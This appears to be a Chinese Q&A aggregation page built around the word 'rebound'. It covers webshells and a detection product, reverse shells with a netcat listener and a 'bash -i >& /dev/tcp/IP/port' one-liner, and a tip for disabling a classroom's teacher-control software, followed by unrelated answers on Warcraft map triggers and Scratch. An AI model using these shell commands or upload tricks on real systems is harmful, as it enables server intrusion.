Ⅰ 懸鏡中的webshell是如何使用的
WebShell是一種常見的網頁後門,它常常被攻擊者用來獲取Web伺服器的操作許可權。攻擊者在進行網站入侵時,通常會將WebShell文件與Web目錄下的長長網頁文件放置在一起,然後通過瀏覽器訪問WebShell文件,從而獲取命令執行環境,最終達到控制網站伺服器的目的。
當網站伺服器被控制後,就可以在其上任意查看資料庫、上傳下載文件以及執行任意程序命令等。WebShell與正常網頁具有相同的運行環境和服務埠,它與遠程主機通過WWW(80)埠進行數據交換的,一次能夠很容易地避開殺毒軟體的檢測和穿透防火牆。
總體,懸鏡伺服器衛士中WebShell的作用,一方面,WebShell常常被站長用於網站管理、伺服器管理等等,根據FSO許可權的不同,作用有在線編輯網頁腳本、上傳下載文件、查看資料庫、執行任意程序命令等。另一方面,被入侵者利用,從而達到控制網站伺服器的目的。
這些網頁腳本常稱為Web腳本木馬,目前比較流行的ASP或PHP木馬,也有基於.NET的腳本木馬。懸鏡伺服器衛士中系統應用防護中WebShell檢測,所要應對的就是後者。
懸鏡伺服器衛士WebShell有以下5種攻擊方式:
1)首先通過系統前台上傳WebShell腳本到網站伺服器,此時,網站伺服器會向客戶端返回上傳文件的整體URL信息;然後通過URL對這個腳本進行訪問,使其可以執行;最終導致攻擊者能夠在網站的任意目錄中上傳懸鏡伺服器衛士WebShell,從而獲取管理員許可權。
2)攻擊者利用管理員密碼登錄進入後台系統,並藉助後台管理工具向配置文件寫入懸鏡伺服器衛士WebShell,允許任意腳本文件上傳。
3)通過資料庫的備份和恢復功能和獲取WebShell。在資料庫備份時,可以將備份文件的擴展名更改為.asp類型。
4)系統中其他站點遭受攻擊,或者搭載在Web伺服器上的Ftp伺服器遭受攻擊後,被注入了WebShell,這些都會導致整個網站系統被感染。
5) 攻擊者利用Web伺服器漏洞直接對其進行攻擊,從而獲得控制許可權。
WebShell的感染過程描述:
1)攻擊者首先通過SQL注入、跨站腳本攻擊等方式得到上傳許可權,然後將WebShell上傳至伺服器。
2)通過WebShell完成對伺服器的控制,實現植入僵屍木馬、篡改網頁以及獲取敏感信息等惡意功能。
3)植入攻擊木馬,使其作為攻擊「肉雞」對整個網站進行感染。
3.4.1.5linux下WebShell攻擊
WebShell反彈命令行Shell的方式在Linux從操作系統下Web伺服器入侵提權過程中得到了廣泛應用。在Linux下,WebShell可以執行命令,然後溢出卻必須在交互環境中進行,否則即使提權成功,也不能獲得完美利用。
因此,為了完成WebShell攻擊,只需反彈一個Shell命令行窗口,在命令行終端下執行溢出並進行提權。
多數Linux操作系統下的PHP WebShell都通過反彈連接功能獲得一個繼承當前WebShell許可權的Shell命令行窗口。在使用反彈連接功能前,需要首先使用NC工具對一個未使用的埠進行監聽,然後選擇反彈連接方式。
3.4.1.6 WebShell檢測
對於WebShell的檢測,北京安普諾網路安全團隊通過自主研發,設計出一種綜合多種檢測方法的綜合檢測方案。
特徵檢測系統中核心是特徵提取,選取特徵的好壞直接關繫到檢測結果的優劣。因此,在進行特徵選取時,首先應對Web頁面本身進行充分考慮,使得選取的特徵能夠很好地表現出靜態頁面。其次,選取的特徵還應該具有動態特點,可以體現出頁面所進行的操作。
如果提取網頁的全部特徵進行處理,則無法檢測變形的WebShell,也會因為特徵過多而對效率產生影響。如果檢測特徵過少,則有可能產生誤報。通過將多個WebShell庫綜合在一起,同時,又加入公司積累的特徵碼,綜合構建了一個非常強大的WebShell特徵庫,這個特徵庫構成了WebShell檢測的依據。
通過對文件進行特徵庫匹配、文件base64編碼後特徵庫匹配、可疑特徵碼匹配等多種手段進行掃描,從而保證掃描准確性並且降低誤報率。
掃描後,可以具體的提供WebShell的名稱、類型等詳細信息,以供用戶參考。並且針對反饋,用戶還可以有選擇的執行「清理」、「添加信任」等功能,以此實現對WebShell的檢測、發現、處理等操作。
特徵檢測是比較常見的WebShell檢測方法,base64編碼後特徵匹配相對於普通特徵碼檢測的優勢在於匹配的准確性更高誤報率更低。
但是特徵檢測的局限性還是存在的,就是同時降低誤報率和漏報率是很難實現的,所以還需要別的手段對文件進行綜合的檢測。
為此懸鏡伺服器衛士中有Delttime(文件創建時間間隔),Fnum(文件數量閾值)的概念。以特徵屬性、Delttime屬性、Fnum屬性作為Webshell動態檢測演算法的主要3個輸入參數,根據不同參數對檢測結果的影響大小來決定其在演算法中的權重。
實踐證明該演算法檢測效率相對傳統特徵值檢測大幅降低檢測誤報率,有一定的可行性。目前懸鏡伺服器衛士正在申請國家發明專利。與此同時,為了方便用戶使用,軟體給用戶提供「快速掃描」、「自定義掃描」功能。
具體效果,大家可以通過下載使用懸鏡伺服器衛士就知道了。謝謝。希望這個能幫到你。
Ⅱ 如何反彈電腦老師的CMD
在c盤里找到服務端,把它搞亂或刪了,比如exe格式改inf等,在開始,程序里找到學生.exe查屬性就知道位置了
Ⅲ nc使用反彈
只是在本地開放一個埠(建立一個埠 監聽) 然後等待SHELL連接
一般命令 :nc -vv -l -p 你想要開發的埠
你應該給點分!!!
Ⅳ linux反彈shell 什麼意思
簡單來說,Shell就是實現用戶命令的介面,通過這個介面我們就能實現對計算機的控制,比如我們常見的ssh就是執行的Shell命令實現對遠程對伺服器的控制。
那反彈Shell是啥呢?其英文名叫做Reverse
Shell,具體干什麼的呢?就是控制端首先監聽某個TCP/UDP埠,然後被控制端向這個埠發起一個請求,同時將自己命令行的輸入輸出轉移到控制端,從而控制端就可以輸入命令來控制被控端了。
比如說,我們有兩台主機A、B,我們最終想實現在A上控制B。那麼如果用正向Shell,其實就是在A上輸入B的連接地址,比如通過ssh連接到
B,連接成功之後,我們就可以在A上通過命令控制B了。
如果用反向Shell,那就是在A上先開啟一個監聽埠,然後讓B去連接A的這個埠,連接成功之後,A這邊就能通過命令控制B了。
反彈shell有什麼用?
還是原來的例子,我們想用A來控制B,如果想用ssh等命令來控制,那得輸入B的sshd地址或者埠對吧?但是在很多情況下,由於防火牆、安全組、區域網、NAT等原因,我們實際上是無法直接連接到B的,比如:
A雖然有公網IP,但B是一個處於內網的機器,A就沒法直接連到B上。
B上開了防火牆或者安全組限制,sshd的服務埠22被封閉了。
B是一台撥號主機,其IP地址經常變動。
假如B被攻擊了,我們想讓B向A匯報自己的狀況,那自然就需要B主動去連接A。
如果是這些情況,我們就可以用反彈Shell用A來控制B了。
Ⅳ 反彈shell腳本怎麼執行
shell腳本直接在命令行輸入文件名就可以執行了
Ⅵ Linux如何使用命令生成反彈SHELL
【Reverse shell】也叫反彈shell,是滲透攻擊的基本功,如果你找到機會讓遠端的機器執行你注入的代碼,你的代碼怎樣才能為你生成一個可以交互操作的shell呢?
你可以在本地先用nc啟動一個監聽進程【nc -l 埠號】
然後在遠端執行【bash -i >& /dev/tcp/你本地的IP/埠號 0>&1】即可。
Ⅶ 魔獸爭霸編輯器問題 怎麼可以做出遠程和魔法攻擊的反彈
用觸發編輯器,網路搜索YDWE就行,漢化的
寫個觸發
類似於
這個是學習技能反彈,而且只反彈普通攻擊
如果想反彈所有傷害,事件改成任意單位受到傷害
如果是這個單位就反彈,條件改成單位類型判斷
設置反彈的傷害,這里是按生命和技能等級,你可以自己隨意設置,可以按受的傷害,可以按單位的力量等等
如果要按攻擊單位的攻擊力反彈,比較麻煩,捕捉攻擊力的方法有大概二進制和截取字元串,最好有計算機語言基礎
反彈的概率看IF條件隨意設置。
Ⅷ 魔獸地圖編輯器反彈技能
trigger1
事件-任意單位 學習技能
條件 學習技能=防禦結界
動作-為trigger2添加 觸發單位 受到傷害
trigger2
事件
條件 傷害>0
動作 命令觸發單位對傷害來源造成 @@攻擊 @@傷害 傷害值*2的傷害
Ⅸ 魔獸爭霸地圖編輯器怎麼做魔法反彈和物理反彈(見補充)
先下載個YDWE,魔獸自帶的用不起
事件-任意單位接受傷害
條件-觸發單位擁有(魔法效果)
動作-設置單位生命值(生命值+單位收到的傷害)
命令觸發單位對傷害來源造成單位受到傷害
這樣神馬傷害都無效並反彈了,不知道對不
我用的編輯器是YDWE1.17.6的
魔法護盾是你自己弄得魔法效果,別弄錯了
Ⅹ 編程怎樣使一個小人站在一個物體上不會掉下來
方法如下:
1.打開scratch,進入軟體的主界面;
2.擊事件面板;
3.將當角色被點擊時拉到腳本編輯區中;
4.點擊運動面板;
5.添加移動10步命令;
6.添加碰到邊緣就反彈命令;
7.點擊控制面板,添加重復執行命令;
8.點擊小貓,它就開始在屏幕上來回運動,碰到邊緣就反彈